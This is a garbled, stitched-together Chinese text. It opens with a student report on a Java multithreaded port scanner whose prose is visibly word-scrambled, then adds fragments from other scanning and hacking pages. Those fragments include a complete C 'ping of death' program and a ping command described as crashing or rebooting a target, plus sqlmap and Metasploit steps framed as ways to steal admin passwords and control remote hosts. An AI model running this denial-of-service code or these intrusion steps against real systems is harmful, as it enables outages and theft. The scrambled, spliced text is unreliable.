中南大学之五兆芳芳创作《计较机网络》课程设计陈述题目多线程端口扫描程序设计与实现学生姓名孙毅指导教师刘嫔学院信息科学与工程学院专业班级信息平安1401完成时间/10/19目录第一章需求阐发 (1)1.2 系统功效描述11.2.2本系统要实现的功效 (1)第二章总体设计 (2)2.1总体阐发 (2)2.1界面设置构想图 (2)2.3界面使用设置构想 (2)2.4后台设计构想 (3)第三章详细设计 (4)3.1界面设计 (4)3.2界面设计图 (4)3.3后台设计 (5)第四章调试阐发与运行结果 (9)4.1运行情况与要求 (9)4.2 运行程序流程图 (9)4.3运行界面 (10)错误!未指定书签。

第六章??参考文献??错误!未指定书签。

第七章附录 (15)第一章需求阐发本设计要求完成一个多线程端口扫描程序的设计与实现,具有易用、美不雅的界面.功效要求:能够对当地或远程主机进行端口扫描.能够对制定端口段进行扫描.能够扫描制定IP地址规模内哪些主机开放了特定端口,如罕有的TCP端口FTP(21)等.使用 TCP connect进行端口扫描;使用 TCP SYN 进行端口扫描;使用 ICMP echo 扫描实现IP 扫描;能把扫描结果记实保管下来.系统功效描述多线程端口扫描器是实现计较机的端口的扫描,只要在在前台设置好所要扫描的IP、起始端口、结束端口以及所要用到的线程数,点击扫描,就可以扫描到所输入IP地址主机的开放端口,并显示在主窗体中;点击退出,则可以退出该程序.IP设置应为所在主机的IP 地址,起始端口和结束端口应为0~65535之间的一个数,且起始端口应小于结束端口的大小.线程数为0~200之间的一个数.点击开始后就会运行,直到扫描完毕显示出开放端口,如果没有开放端口,则只显示扫描完毕.① 端口扫描功效:扫描开放的端口,并将扫描到的开放端口号送到前台.② 图像显示功效:显示界面图形.③ 多线程功效:当客户端要求与办事器端成立连接时,办事器端就将用到多线程功效,为每一个成立起来的连接创建一个线程.④ 异常抛出功效:对于明显的错误,能提示出错误的类型并结束程序的运行.第二章总体设计本程序分为前后台系统,后台系统用于扫描主机开放端口,并把节扫描的数据送至前台窗口显示;前台要显示扫描的结果,所以应为一个窗口,这个窗口应能够设置主机的IP 地址,设置端口的开始端口、结束端口和线程数,并且还能够显示扫描的状态.在中央是显示结果的窗体.本程序还应能够有控制扫描的状态命令,附加设置最小化和封闭按钮.图1 系统构想图当出现如图所示的界面时,填写好要扫描的IP地址,需要扫描的端口规模和线程数,单击命令提示按钮就可以开始扫描,扫描结果就会显示在中间的扫描结果显示区域,在扫描状态显示区就会显示是否扫描完毕.流程图如下:图2 系统构想流程图后台系统使用Scanner和Scan类,创建前台计划和创建扫描端口、事件处理,并且能对复杂的错误进行判断,显示错误原因.调用数据处理包,处理异常情况;调用皮肤包,美化显示窗口.第三章详细设计本程序界面图形设计要能清楚显示扫描后的结果,并且能很好的体现出界面的整洁大方,但其实不失去吸引人眼球的画面,所以在做界面的时候考虑了界面的色彩,并且添加了皮肤,界面上面的字体设置和windows窗口设置一样采取宋体,界面上的按钮不设置过量的按钮,仅设置有需要的按钮便可,界面设置大方.使用的时候有默认的IP地址、需要扫描的端口和线程数,如果需要扫描其他主机,只需要填写好要扫描的主机的IP地址,需要扫描的端口规模和线程数,单击命令提示按钮就可以开始扫描,扫描结果就会显示在中间的扫描结果显示区域,在扫描状态显示区就会显示是否扫描完毕.本程序采取小窗口形式,外围大小为700mm*700mm,结果显示字幕为主机地址加开放端口.添加特性皮肤.其余地方设置按钮和扫描的主机地址、端口和线程数.设计的预计页面图形如图:图3 系统界面设计图本程序使用了为主要的Scanner2类和ScanTcpConnect类.ScanTcpConnect类的作用是创建线程扫描端口,然后把结果显示到前台.Scanner2类的作用是机关前台计划,调用ScanTcpConnect类添加事件处理,对输入进行错误判断,如果输入不在允许的规模之内则显示相关错误.在本程序中用到了网络编程的两个类,下面介绍这两个类的经常使用办法.InetSocketAddress类机关办法如下:●InetSocketAddress(InetAddress addr, int port):按照 IP 地址和端口号创建套接字地址.●InetSocketAddress(int port):创建套接字地址,其中 IP 地址为通配符地址,端口号为指定值.●InetSocketAddress(String hostname, int port):按照主机名和端口号创建套接字地址.Socket类经常使用办法如下:●Socket():通过系统默认类型的 SocketImpl 创建未连接套接字●Socket(InetAddress address, int port):创建一个流套接字并将其连接到指定 IP 地址的指定端口号.●void bind(SocketAddress bindpoint):将套接字绑定到当地地址.●void close():封闭此套接字.●void connect(SocketAddress endpoint):将此套接字连接到办事器.●void connect(SocketAddress endpoint, int timeout):将此套接字连接到具有指定超时值的办事器.●boolean isClosed():前往套接字的封闭状态.●boolean isConnected():前往套接字的连接状态.本程序还调用其他的一些类和包,比方软件包java.awt.color 、java.awt.event、io.IOException、Javax.Swing、jvnet.substance.*.●java.awt.color包的的描述:提供用于颜色空间的类.它包含了基于国际色彩联盟(ICC) 配置文件格局标准的颜色空间实现.它还包含了基于ICC 配置文件格局标准的颜色配置文件.用来使界面加倍具有色彩.Result.setBackground(Color.PINK);//设置窗口为粉红●java.awt.event 的描述:提供处理由AWT 组件所激起的各类事件的接口和类.事件由事件源所激起,向事件源注册的事件侦听器可接收有关特定事件类型的通知.此包定义了事件和事件侦听器,以及事件侦听器适配器,它是让事件侦听器的编写进程更加轻松的便捷类.在本程序中使用:public void actionPerformed(ActionEvent e) {String cmd = e.getActionCommand();if(cmd.equals("Start"))…………}io.IOException包的描述:用来处理io的错误,不但仅是文件读写,还包含良多stream的读写,并且throws是用来放在函数定义的函数体前函数名后的,暗示这个函数将会在出现异常的书后会抛出io异常,所以在以后的程序中调用这个函数的时候就必须用try和catch来捕获异常,不然编译会报错,这主要涉及到java的平安机制.本程序中使用如下:try {minPort = Integer.parseInt(PortStart.getText());maxPort = Integer.parseInt(PortEnd.getText());threadNum = Integer.parseInt(ThreadNum.getText());} catch (NumberFormatException e1) {DLGError.setBounds(300, 280, 299, 120);DLGINFO.setText("错误的端口号或线程数!端口号和线程数必须为整数!");DLGINFO.setBounds(10, 20, 280, 20);OK.setBounds(110, 50, 60, 30);DLGError.setVisible(true);return;…………}●Javax.Swing荟萃描述:由所有Java图形用户界面(GUI)组件所组成,可运行在任一支持Java虚拟机(JVM)的当地平台上.由于这些组件全都是用Java语言编写的,因此它们可以提供比当地平台GUI组件更多的功效.(与抽象窗口东西箱对比).Java Swing是Java Foundation Classes(JFC)的一部分.在Swing中,Sun开发了一个经过仔细设计的、灵活而强大的GUI 东西包.Swing是在AWT组件根本上构建的.它所提供的功效要比AWT提供的更加普遍.它也是Java技巧的一种尺度配置.Swing模型一个Java GUI通常由顶层容器、中间容器以及多个原子组件组成.每个原子组件或容器都可能触发相应事件的产生.容器是一类能够在其中容纳其他组件的特殊组件.Swing的GUI 组件类是依照类属条理以树状结构进行组织的.在这个树的最顶层,即树的根部,使一个最根本的容器类,被称为顶层容器.Swing 提供了三个通用的顶层容器类JFrame,JDialog和JApplet.JFrame提供了基于窗体的应用程序,JDialog提供对话框形式的界面,JApplet提供Java小应用程序的界面形式.在顶层容器下是中间容器,用于容纳其他的组件.通常窗格自己在显示界面中是看不到的.面板类Panel是一种中间容器,它的唯一作用是使组件更容易定位.顶层容器通过getContentPane()办法获得内部的一个内容窗格.Swing包的组成:●javax.swing:根本Swing包,包含Swing容器、组件及相关设置的类和接口.●javax.swing.border:包含与鸿沟设计相关的类和接口.●javax.swing.colorchooser:与颜色选择相关的类和接口.●javax.swing.event:包含事件处理相关的类和接口.●javax.swing.filechooser:包含对文件进行查抄选取的相关类.●javax.swing.plaf:包含一些对外不雅样式操纵的类和接口.●javax.swing.tree:包含对树形组件进行操纵的类和接口.经常使用Swing组件:●按钮:JButton●文本区:JTextArea●文本字段:JTextField在本程序中使用如下:// 设置主窗体位置和大小Frame.setSize(700, 700); //设置主窗体大小//添加窗口监听,使之可以封闭窗口Frame.addWindowListener(new WindowAdapter() {publicvoid windowClosing(WindowEvent e) {System.exit(0);}});// 设置扫描按钮和退出按钮//Tcp connect扫描按钮Tcp_connect.setBounds(17,313,140,30);Tcp_connect.setActionCommand("Tcp_connect");//设置JButton的属性值Tcp_connect.addActionListener(this);//监听按钮的行动//Tcp SYN扫描按钮Tcp_SYN.setBounds(17,363,140,30);Tcp_SYN.setActionCommand("Tcp_SYN");//设置JButton的属性值Tcp_SYN.addActionListener(this);//监听按钮的行动//Icmp echo扫描按钮ICMP_echo.setBounds(17,413,140,30);ICMP_echo.setActionCommand("ICMP_echo");//设置JButton的属性值ICMP_echo.addActionListener(this);//监听按钮的行动//退出扫描按钮Exit.setBounds(17,463,140,30);Exit.setActionCommand("Exit");Exit.addActionListener(this);jvnet.substance.*:目的是提供一个流行的外不雅(look & feel). //设置窗体皮肤SubstanceAutumnLookAndFeel.setSkin(new FieldOfWheatSkin());第四章调试阐发与运行结果(1)性能要求实时性好、可靠性强、不占用系统太多的内存和存储空间.(2)设计约束开发东西:jdk1.8.0_102 Eclipse jee图四开发东西运行情况:Windows 10能实现用户所定义的各项需求.4.2 运行程序流程图图4 流程图未扫描状态:图6 运行界面未扫描状态图 在Eclipse 中右击,选择运出现程序界面设置开始端口大小,设置设置结束口,设置0~65535之 设置进程点击扫描可以结果显示是否持续扫结束程序 否,点击退出是,重新设置正常扫描后状态:图7 运行界面正常扫描状态图起始端口设置有误扫描开始后状态报错:图8 运行界面起始端口设置错误报错图结束端口设置有误扫描开始后状态报错:图9 运行界面结束端口设置错误报错图线程数设置错误报错:图10 运行界面线程数设置错误报错图正常运行:图11正常运行图正常运行后且保管扫描结果之前的文件内容:图12 保管扫描结果之前的文件内容图正常运行后且保管扫描结果之后的文件内容:图13 保管扫描结果之后的文件内容第五章课程设计总结在此次课程设计中,遇到了一些问题,如:程序功效不克不及完全实现,对于面向对象的办法了解不敷透彻,运用到实际的软件开发中存在着困难;对于Java语言,以前只学习到了一些最根本的知识,要在短时间内用Java语言来开发软件是一个较大的挑战;对于开发软件的流程不熟悉,适应起来比较慢,编写需求说明书和设计规格说明书时,自己感到难以动手,这标明所学的知识不克不及灵活运用到实际中.对于以上的问题,自己有清楚的认识,解决办法是需要大量阅读相关的书籍,多看些项目的源代码.对于书上以及网站上下载的资料中的Java实例必须理解,还有多跟精通JAVA语言的老师和同学请教和交换,取其精华.对于实际动手能力与软件开发的流程的适应,必须多进行实际的练习与操纵,才干有所进步.我自己感到此次课程设计做得挺成功的,通过这一次实践编程,我学到了良多有关JAVA的实际编程的知识.在这次设计开始的第一天开始,我就开始着手修改一个用JAVA编写的短线呈端口扫描的程序.我刚开始很自信自己能修改成功,但这一进程太不顺利.用了两天时间来修改那个JAVA程序,但调试的时候都没有成功.后来我请教一个班上成绩好的同学,在他的帮忙下我不竭的发明错误,并更正它们,工夫不负有心人人,我的程序最后运行成功了.在这课程设计期间我的同学和老师帮忙了我,有些东西是我们一起探讨,一起解决办法的.当然在学习Java和设计程序的进程中还得到了杭志老师的辛勤指导,为我解答了良多的疑问.同时,在刘老师身上我们学到了良多实用的东西,在此暗示衷心的感激!同时,还要感激帮忙过我的其他同学!这次课程设计令我感触感染良多.从拿到题目到改编JAVA程序;然后请教他人慢慢研究琢磨;从理论到实践;从失败到成功;忘不了我坐在电脑前苦苦思索,低温下熬夜地编程的疲惫;忘不了因沉迷于编程却耽误了吃饭时间而受饿辛酸;忘不了……这其中了良多的东西,磨砺了我的意志;同时还稳固了以前所学的知识,学到了良多书本上没有的知识;学到了良多java编程知识,并学会了复杂的使用eclipse来开发java程序的一些使用技能这次课程设计是对我本学期所学的知识的查验,由此我发明了良多的问题.可以说它给了我一次自我评估的机遇.通过设计让我知道了那些方面我仍是有欠缺的,促使我花时间弥补.临近考试,时间太紧迫,致使程序实现的功效在办法上也许不是很完美,但我以后会多向老师请教,自己也要增强对Java 的学习.努力进一步提高自己的编程水平.此次的课程设计,对我来说撰写文档似乎是一个更大的挑战.撰写文档不但要求我们要对自己程序很是熟悉:程序的总体框架,功效,如何实现,存在什么问题等,同时还要求我们有清晰的思维和准确的表达能力以及严密的逻辑性.因此,写完这篇文档对于我们自身来说自然是获益匪浅的.第六章参考文献1、Sharon Zakhour Scott Hommel等著. Java 语言导学.人民邮电出版社,2、耿祥义编著. Java根本教程. 清华大学出版社,3、Joe Wigglesworth Paula Lumby. Java程序设计初级主题. 北京大学出版社,4、Y.Daniel Liang著,王镁等译.Java语言程序设计根本篇.5、朱福喜等.Java项目设计与开发典范.电子产业出版社,6、李瑞民.网络扫描技巧揭秘.机械产业出版社,第七章附录带注释的源程序://多线程端口扫描程序设计与实现带有注释的源程序import java.awt.*; //抽象窗口东西包,图形界面组件类import java.awt.event.ActionEvent;import java.awt.event.ActionListener;import java.awt.event.WindowAdapter;import java.awt.event.WindowEvent;import java.io.*; //各类IOimport javax.swing.*; //awt根本上的一套图形界面系统import .*;//第一大类:Scanner2类publicclassScanner2extends JFrame implements ActionListener { publicstaticvoid main(String[] args){ //程序入口new Scanner2();}staticintj = 0;//主窗口的创建,new组件publicstatic JFrame Frame = new JFrame();publicstatic Label labelIPStart = new Label("起始IP");publicstatic Label labelIPEnd = new Label("结束IP");publicstatic Label labelPortStart = new Label("起始端口");publicstatic Label labelPortEnd = new Label("结束端口");publicstatic Label labelThread = new Label("线程数");publicstatic Label labelTimeOut = new Label("请求超时:");publicstatic Label labelState = new Label("扫描状态:");publicstatic Label labelResult = new Label("扫描结果:");publicstatic Label labelScanning = new Label("扫描待命");JLabel photo= new JLabel(new ImageIcon("G://图片//QQ图片0724195038.jpg")); publicstatic JTextField hostNameStart = new JTextField("127.0.0.1");publicstatic JTextField hostNameEnd = new JTextField("127.0.0.1");publicstatic JTextField PortStart = new JTextField("10");publicstatic JTextField PortEnd = new JTextField("30");publicstatic JTextField ThreadNum = new JTextField("9");publicstatic JTextField time = new JTextField("2000");publicstatic TextArea Result1 = new TextArea();publicstatic TextArea Result2 = new TextArea();publicstatic Label DLGINFO = new Label("");publicstatic JButton Tcp_connect = new JButton("Tcp connect 扫描");publicstatic JButton Tcp_SYN = new JButton("Tcp SYN 扫描");publicstatic JButton ICMP_echo = new JButton("ICMP echo 扫描");publicstatic JButton Exit = new JButton("退出扫描");publicstatic JButton save = new JButton("保管结果");//错误提示对话框publicstatic JDialog DLGError = new JDialog(Frame, "ERROR");publicstatic JButton OK = new JButton("OK");//在机关函数里进行窗口设计public Scanner2(){//设置主窗体题目Frame.setTitle("计较机网络课设:多线程端口扫描信安1401 孙毅 CSU"); Frame.setSize(700, 700); //设置主窗体大小//添加窗口监听,使之可以封闭窗口Frame.addWindowListener(new WindowAdapter() {publicvoid windowClosing(WindowEvent e) {System.exit(0);}});//设置一系列按钮和小窗口及图片//IPlabelIPStart.setBounds(17,13,50,20);hostNameStart.setBounds(67,13,90,25);hostNameStart.setHorizontalAlignment(JTextField.CENTER);//文本水平对齐方法labelIPEnd.setBounds(17,63,50,20);hostNameEnd.setBounds(67,63,90,25);hostNameEnd.setHorizontalAlignment(JTextField.CENTER);//文本水平对齐方法//起始端口labelPortStart.setBounds(17,113,50,20);PortStart.setBounds(67,113,90,25);PortStart.setHorizontalAlignment(JTextField.CENTER);//结束端口labelPortEnd.setBounds(17,163,50,20);PortEnd.setBounds(67,163,90,25);PortEnd.setHorizontalAlignment(JTextField.CENTER);//线程数labelThread.setBounds(17,213,50,20);ThreadNum.setBounds(67,213,90,25);ThreadNum.setHorizontalAlignment(JTextField.CENTER);//请求超时labelTimeOut.setBounds(17,263,50,20);time.setBounds(67,263,90,25);time.setHorizontalAlignment(JTextField.CENTER);//Tcp connect扫描按钮Tcp_connect.setBounds(17,313,140,30);Tcp_connect.setActionCommand("Tcp_connect");//设置JButton的属性值Tcp_connect.addActionListener(this);//监听按钮的行动//Tcp SYN扫描按钮Tcp_SYN.setBounds(17,363,140,30);Tcp_SYN.setActionCommand("Tcp_SYN");//设置JButton的属性值Tcp_SYN.addActionListener(this);//监听按钮的行动//Icmp echo扫描按钮ICMP_echo.setBounds(17,413,140,30);ICMP_echo.setActionCommand("ICMP_echo");//设置JButton的属性值ICMP_echo.addActionListener(this);//监听按钮的行动//退出扫描按钮Exit.setBounds(17,463,140,30);Exit.setActionCommand("Exit");Exit.addActionListener(this);//保管结果按钮save.setBounds(17,513,140,30);save.setActionCommand("save");save.addActionListener(this);//扫描状态栏labelState.setBounds(180,13,50,20);labelScanning.setBounds(240,8,120,30);Result1.setBounds(180,40,210,332);Result1.setEditable(false);Result1.setBackground(Color.GREEN);//图片的显示photo.setBounds(393,13,283,360);//扫描结果栏labelResult.setBounds(180,390,50,20);Result2.setBounds(180,420,500,200);Result2.setEditable(false);Result2.setBackground(Color.GREEN);//设置错误提示框Container ErrorDisplay = DLGError.getContentPane(); ErrorDisplay.setLayout(null);ErrorDisplay.add(DLGINFO);ErrorDisplay.add(OK);OK.setActionCommand("OK");OK.addActionListener(this);//将组件添加到主窗体Frame.setLayout(null);Frame.setResizable(false);//窗口大小设置为不成变Frame.add(labelIPStart);Frame.add(labelIPEnd);Frame.add(labelPortStart);Frame.add(labelPortEnd);Frame.add(labelThread);Frame.add(labelTimeOut);Frame.add(hostNameStart);Frame.add(hostNameEnd);Frame.add(PortStart);Frame.add(PortEnd);Frame.add(ThreadNum);Frame.add(time);Frame.add(Tcp_connect);Frame.add(Tcp_SYN);Frame.add(ICMP_echo);Frame.add(Exit);Frame.add(save);Frame.add(labelState);Frame.add(labelScanning);Frame.add(Result1);Frame.add(photo);Frame.add(labelResult);Frame.add(Result2);Frame.setVisible(true);}//几个产生错误的原因@Overridepublicvoid actionPerformed(ActionEvent arg0) {// TODO Autogenerated method stubString cmd = arg0.getActionCommand(); intminPort,maxPort,threadNum;InetAddress hostAddressStart = null;InetAddress hostAddressEnd = null;try{//获得输入的相关数据minPort = Integer.parseInt(PortStart.getText());maxPort = Integer.parseInt(PortEnd.getText()); threadNum = Integer.parseInt(ThreadNum.getText());}catch(NumberFormatException e1){ DLGError.setBounds(300,280,300,200);DLGINFO.setText("靓仔,端口号、线程号必须得是整数"); DLGINFO.setBounds(25,15,350,20);OK.setBounds(110,50,60,30);DLGError.setVisible(true);return;}//输入信息错误处理if((minPort < 0)||(maxPort > 65536)||(minPort > maxPort)){DLGError.setBounds(300,280,400,200);DLGINFO.setText("端口必须在0~65536之间,且起始端口应小于结束端口"); DLGINFO.setBounds(25,15,350,20);OK.setBounds(110,50,60,30);DLGError.setVisible(true);return;}if((threadNum > 200)||(threadNum < 0)){DLGError.setBounds(300,280,300,200);DLGINFO.setText("线程数应是在1~200之间的整数");DLGINFO.setBounds(25,15,200,20);OK.setBounds(110,50,60,30);DLGError.setVisible(true);return;}//如果按了保管按钮if (cmd.equals("save")){try{BufferedWriter bw = new BufferedWriter(new FileWriter("G:\\java语言文件\\DXCDKSMQ2\\扫描结果.txt"));bw.write(ScanTcpConnect.str);bw.newLine();ScanTcpConnect.str = "";bw.close();}catch(IOException e1){e1.printStackTrace();}}//如果按了开始扫描按钮if (cmd.equals("Tcp_connect")||cmd.equals("Tcp_SYN")||cmd.equals("ICMP_echo")){ Result1.setText(null);Result2.setText(null);//相关显示,.append()的用途是将前面的字符串接到原来的字符串上面来labelScanning.setText("开始扫描......");Result1.append("正在扫描"+hostNameStart.getText()+", 线程数:"+threadNum+"\n"); Result1.append("起始端口:"+minPort+"; 结束端口: "+maxPort+"\n");//j++;try{ScanTcpConnect.hostAddress =InetAddress.getByName(Scanner2.hostNameStart.getText());ScanTcpConnect.time =Integer.parseInt(Scanner2.time.getText());}catch(UnknownHostException e1){DLGError.setBounds(300,280,300,200);DLGINFO.setText("靓仔,你的IP或域名输入仿佛有误哦");DLGINFO.setBounds(25,15,200,20);OK.setBounds(110,50,60,30);DLGError.setVisible(true);return;}//多线程焦点算法for(inti = minPort;i <= maxPort;){if((i+threadNum) <= maxPort){new ScanTcpConnect(i,i+threadNum).run();//引用Scan类的run()办法i += threadNum;}else{new ScanTcpConnect(i,maxPort).run();i += threadNum;}}try{Thread.sleep(1);//设置睡眠时间}catch(InterruptedException e1){e1.printStackTrace();}Result1.append("扫描完成!");labelScanning.setText("扫描完成!");}//如果按了OK按钮if(cmd.equals("OK")){DLGError.dispose();//释放资源}//如果按了退出扫描按钮if(cmd.equals("Eixt")){System.exit(0);//非正常退出正在运行中的java虚拟机}}}//第二大类:完成Tcp connect 扫描>ScanTcpConnect类class ScanTcpConnect extends Thread{staticinttime;static String str = "";intminPort,maxPort;publicstatic InetAddress hostAddress;//机关函数ScanTcpConnect(intminPort,intmaxPort){ //传递参数this.minPort = minPort;this.maxPort = maxPort;}publicvoid run(){//扫描指定端口for(inti= minPort; i < maxPort; i++){Scanner2.Result1.append("主机:"+Scanner2.hostNameStart.getText()+" TCP端口:"+i+"\n");try{belScanning.setText("正在扫描"+i+"端口");//按照主机名和端口号创建套接字地址//InetSocketAddress是SocketAddress的实现子类SocketAddress sockaddr = newInetSocketAddress(hostAddress,i);Socket socket = new Socket();//将创建的套接字连接到具有指定超时值得办事器socket.connect(sockaddr, time);Scanner2.Result2.append("主机:"+Scanner2.hostNameStart.getText()+" TCP端口号为:"+i+" > 端口开放"+"\n");socket.close();str += "主机:"+Scanner2.hostNameStart.getText()+" TCP端口号为:"+i+" > 端口开放" + "\n";}catch(ConnectException e){ //因端口封闭而失败的情况Scanner2.Result2.append("主机:"+Scanner2.hostNameStart.getText()+" TCP端口号为:"+i+" > 端口封闭"+"\n");str += "主机:"+Scanner2.hostNameStart.getText()+" TCP端口号为:"+i+" > 端口封闭" + "\n";}catch(SocketTimeoutException e){ //因请求超时而失败的情况Scanner2.Result2.append("主机:"+Scanner2.hostNameStart.getText()+" TCP端口号为:"+i+" > 请求超时"+"\n");str += "主机:"+Scanner2.hostNameStart.getText()+" TCP端口号为:"+i+" > 请求超时" + "\n";}catch (IOException e) {// TODO Autogenerated catch blocke.printStackTrace();}}}}。

网络主机扫描程序的设计与实现

网络主机扫描程序的设计与实现

网络主机扫描程序的设计与实现网络主机扫描程序的设计与实现一、简介网络主机扫描程序是一种用于主机发现与端口扫描的工具。

它通过发送ICMP和TCP/UDP报文来探测网络上活跃的主机,还可以扫描这些主机的开放端口。

网络主机扫描程序在网络安全评估、系统管理以及漏洞扫描等领域中得到广泛应用。

二、设计目标网络主机扫描程序的设计目标主要包括:1. 快速高效:能够快速扫描大规模的网络主机,提高扫描效率。

2. 准确可靠:能够准确地识别活跃的主机和开放的端口,并提供准确的扫描结果。

3. 可扩展性:能够灵活扩展功能,满足不同用户的需求。

4. 用户友好:提供简洁易用的用户界面,方便用户使用和操作。

三、设计原理网络主机扫描程序的设计原理主要包括以下几个方面:1. 主机发现:通过发送ICMP报文来判断目标主机是否活跃。

常用的方法有发送Ping请求和发送ARP请求。

2. 端口扫描:通过发送TCP和UDP报文来判断目标主机的端口状态。

常用的方法有全连接扫描、半开放扫描和综合扫描。

3. 扫描策略:可以根据需求选择扫描的目标地质范围、端口范围、扫描速度等参数。

4. 结果输出:将扫描结果以可读形式输出,如文本、、CSV等格式。

四、实现步骤网络主机扫描程序的实现步骤包括以下几个阶段:1. 参数解析:解析命令行参数,获取扫描目标和扫描选项。

2. 主机发现:根据目标地质范围发送ICMP或ARP请求,判断目标主机是否活跃。

3. 端口扫描:根据扫描选项和目标主机的活跃状态,发送TCP/UDP报文来判断目标主机的端口状态。

4. 结果输出:将扫描结果按照指定格式输出到文件或打印到控制台。

5. 异常处理:处理网络连接超时、目标主机不可达等异常情况。

五、实现工具和技术网络主机扫描程序可以使用多种编程语言和工具来实现,如、C、Nmap等。

常用的技术包括:1. 网络编程:使用Socket库进行网络通信,发送和接收报文。

2. 多线程/多进程:利用并发编程技术提高扫描效率。

扫描原理

扫描原理

端口扫描程序的原理2011-04-22 12:27:08| 分类:网络黑客技术攻防| 标签:端口扫描程序的原理|字号订阅之前我独孤九剑一直在找关于扫描器原理的文章,现在终于给我找到了一篇,特别是下面那个关于扫描原理的那部分,很强大。

给大家分享一下啦!一个端口就是一个潜在的通信通道,也就是一个入侵通道。

对目标计算机进行端口扫描,能得到许多有用的信息。

进行扫描的方法很多,可以是手工进行扫描,也可以用端口扫描软件进行。

在手工进行扫描时,需要熟悉各种命令。

对命令执行后的输出进行分析。

用扫描软件进行扫描时,许多扫描器软件都有分析数据的功能。

通过端口扫描,可以得到许多有用的信息,从而发现系统的安全漏洞。

下面首先介绍几个常用网络命令,对端口扫描原理进行介绍,然后提供一个简单的扫描程序。

第一节几个常用网络相关命令Ping命令经常用来对TCP/IP网络进行诊断。

通过目标计算机发送一个数据包,让它将这个数据包反送回来,如果返回的数据包和发送的数据包一致,那就是说你的PING 命令成功了。

通过这样对返回的数据进行分析,就能判断计算机是否开着,或者这个数据包从发送到返回需要多少时间。

Ping命令的基本格式:ping hostname其中hostname是目标计算机的地址。

Ping还有许多高级使用,下面就是一个例子。

C:> ping -f 这条命令给目标机器发送大量的数据,从而使目标计算机忙于回应。

在Windows 95的计算机上,使用下面的方法:c:\windows\ping -l 65510 saddam_hussein'这样做了之后,目标计算机有可能会挂起来,或从新启动。

由于-l 65510 产生一个巨大的数据包。

由于要求返回一个同样的数据包,会使目标计算机反应不过来。

在Linux计算机上,可以编写一个程序来实现上述方法。

#include < stdio.h>#include < sys/types.h>#include < sys/socket.h>#include < netdb.h>#include < netinet/in.h>#include < netinet/in_systm.h>#include < netinet/ip.h>#include < netinet/ip_icmp.h>/** If your kernel doesn't muck with raw packets, #define REALLY_RAW.* This is probably only Linux.*/#ifdef REALLY_RAW#define FIX(x) htons(x)#else#define FIX(x) (x)#endifintmain(int argc, char **argv){int s;char buf[1500];struct ip *ip = (struct ip *)buf;struct icmp *icmp = (struct icmp *)(ip + 1);struct hostent *hp;struct sockaddr_in dst;int offset;int on = 1;bzero(buf, sizeof buf);if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_IP)) < 0) {perror("socket");exit(1);}if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) { perror("IP_HDRINCL");exit(1);}if (argc != 2) {fprintf(stderr, "usage: %s hostname\n", argv[0]);exit(1);}if ((hp = gethostbyname(argv[1])) == NULL) {if ((ip->ip_dst.s_addr = inet_addr(argv[1])) == -1) {fprintf(stderr, "%s: unknown host\n", argv[1]);}} else {bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length);}printf("Sending to %s\n", inet_ntoa(ip->ip_dst));ip->ip_v = 4;ip->ip_hl = sizeof *ip >> 2;ip->ip_tos = 0;ip->ip_len = FIX(sizeof buf);ip->ip_id = htons(4321);ip->ip_off = FIX(0);ip->ip_ttl = 255;ip->ip_p = 1;ip->ip_sum = 0; /* kernel fills in */ip->ip_src.s_addr = 0; /* kernel fills in */dst.sin_addr = ip->ip_dst;dst.sin_family = AF_INET;icmp->icmp_type = ICMP_ECHO;icmp->icmp_code = 0;icmp->icmp_cksum = htons(~(ICMP_ECHO < < 8));/* the checksum of all 0's is easy to compute */for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip)) {ip->ip_off = FIX(offset >> 3);if (offset < 65120)ip->ip_off |= FIX(IP_MF);elseip->ip_len = FIX(418); /* make total 65538 */if (sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst,sizeof dst) < 0) {fprintf(stderr, "offset %d: ", offset);perror("sendto");}if (offset == 0) {icmp->icmp_type = 0;icmp->icmp_code = 0;icmp->icmp_cksum = 0;}}}Tracert命令用来跟踪一个消息从一台计算机到另一台计算机所走的路径,比方说从你的计算机走到浙江信息超市。

简单黑客代码

简单黑客代码

简单黑客代码简单黑客代码是指能够让普通人轻松掌握的基础黑客技术,其中包含了一些简单却非常实用的代码,可以用于网络安全检测、漏洞利用和密码破解等方面。

在黑客领域,又称为“入门代码”或“初级代码”。

下面将就简单黑客代码作一简单介绍。

一、网络安全检测代码1. 网络Ping扫描代码在命令行下输入代码:ping -t 192.168.1.1,能够实现对局域网中指定地址的Ping扫描,定位网络故障。

2. 端口扫描代码使用Nmap扫描指定IP地址可知道该IP地址开放了哪些端口,留下了哪些漏洞。

使用黑客已经熟练掌握,这里只简单介绍Nmap命令行使用方法:nmap IP地址:对指定IP地址的端口进行扫描nmap -O IP地址:通过探测目标操作系统对端口进行扫描3. SQL注入漏洞检测代码使用SQLmap对目标网站进行扫描,获得数据库的结构、数据和管理员密码等敏感信息,实现轻松访问网站。

SQLmap使用方法:python sqlmap.py -u URL --dbs:扫描目标网站,获取目标数据库信息python sqlmap.py -u URL -D 数据库名 --tables:获取指定数据库的所有数据表二、漏洞利用代码1. Metasploit利用漏洞代码Metasploit是一个开源的渗透测试框架,包含超过1600种已知漏洞的利用模块。

Metasploit使用流程:msf > search 关键字:搜索系统有没有指定关键字相关的漏洞msf > use exploit/path/soon:选择一个漏洞利用模块msf > set payload payload/windows/meterpreter/reverse_tcp:设置payload上传反弹回来的shellmsf > set RHOSTS IP地址:设置目标主机IP地址msf > exploit:开始攻击2. 远程溢出漏洞利用代码使用Metasploit实现对远程主机的控制,即可进行任意操作。

综合实验报告书(端口扫描)

综合实验报告书(端口扫描)

综合实验报告( 2010 -- 2011 年度第二学期)名称:网络综合实验题目端口扫描程序院系:信息工程系班级:网络08K2学号:学生姓名:指导教师:鲁斌李莉王晓霞张铭泉设计周数: 2 周成绩:日期:2011 年7 月1 日一、综合实验的目的与要求1.任务:设计并实现一个端口扫描程序,检测某个IP或某段IP的计算机的端口工作情况。

2.目的:加深对课堂讲授知识的理解,熟练掌握基本的网络编程技术和方法,建立网络编程整体概念,使得学生初步具有研究、设计、编制和调试网络程序的能力。

3.要求:熟悉有关定义、概念和实现算法,设计出程序流程框图和数据结构,编写出完整的源程序,基本功能完善,方便易用,操作无误。

4.学生要求人数:1人。

二、综合实验正文1.端口扫描器功能简介:服务器上所开放的端口就是潜在的通信通道,也就是一个入侵通道。

